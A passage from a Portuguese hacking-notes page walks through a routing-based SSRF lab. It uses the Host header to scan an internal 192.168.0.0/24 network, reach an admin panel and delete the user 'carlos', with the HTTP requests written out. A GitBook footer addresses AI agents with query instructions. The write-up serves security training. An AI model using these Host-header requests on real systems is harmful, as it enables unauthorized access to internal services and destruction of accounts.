> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/host-header/routing-based-ssrf.md).

# SSRF Baseado em Roteamento

### SSRF baseada em roteamento

**Descrição do laboratório**

Este laboratório tem uma **Vulnerabilidade do tipo SSRF baseada em roteamento**, explorável via **cabeçalho Host**. / A aplicação se baseia no valor do `Host` campo para determinar o destino das requisições, permitindo acesso a recursos internos não expostos.

Objetivo:

* Acessar o painel de administração interno hospedado em um endereço IP da `192.168.0.0/24` rede
* Excluir usuário **carlos**

**Observação inicial**

O `/admin` o ponto de acesso não é acessível de fora. / No entanto, a aplicação encaminha as requisições de acordo com o valor do `Host` campo, permitindo que a requisição seja redirecionada para endereços internos.

**Etapa 1 – Varredura da Rede Interna**

A seguinte requisição é enviada para **Intruder** para testar endereços IP internos:

```http
GET /admin HTTP/2
Host: 192.168.0.X
```

⚠️ Importante:

* Desative a opção **Atualizar cabeçalho Host** no Burp, caso contrário o ataque falha.

<figure><img src="/files/f62a1d0978232133e61f76f93d27dc10af21ce3f" alt=""><figcaption></figcaption></figure>

Resultado:

* O `192.168.0.221` endereço retorna uma resposta **HTTP 200**, indicando a presença do painel de administração interno.

<figure><img src="/files/dd4962f48a1d6a583b64c16e780e5c90f0e3ab35" alt=""><figcaption></figcaption></figure>

**Etapa 2 – Acesso ao painel de administração**

Depois que um IP válido é identificado, você aponta diretamente para o painel de administração:

```http
GET /admin/delete?username=carlos HTTP/2
Host: 192.168.0.221
```

A interface de administração interna se torna acessível.

<figure><img src="/files/b97c5771827d9d56c10c4419a12f7db21b84bed9" alt=""><figcaption></figcaption></figure>

**Etapa 3 – Remoção do usuário carlos**

A exclusão requer uma **POST** requisição com um token CSRF válido:

```http
POST /admin/delete HTTP/2
Host: 192.168.0.221

csrf=iWyb78rJxAsoblmARVtqSef6YOsKG0Ph&username=carlos
```

Resultado:

* O servidor responde com **302 Found**, confirmando que o usuário **carlos** foi excluído.

<figure><img src="/files/f11a20c8794217be55b0930ff309f6bf85e19f63" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/host-header/routing-based-ssrf.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
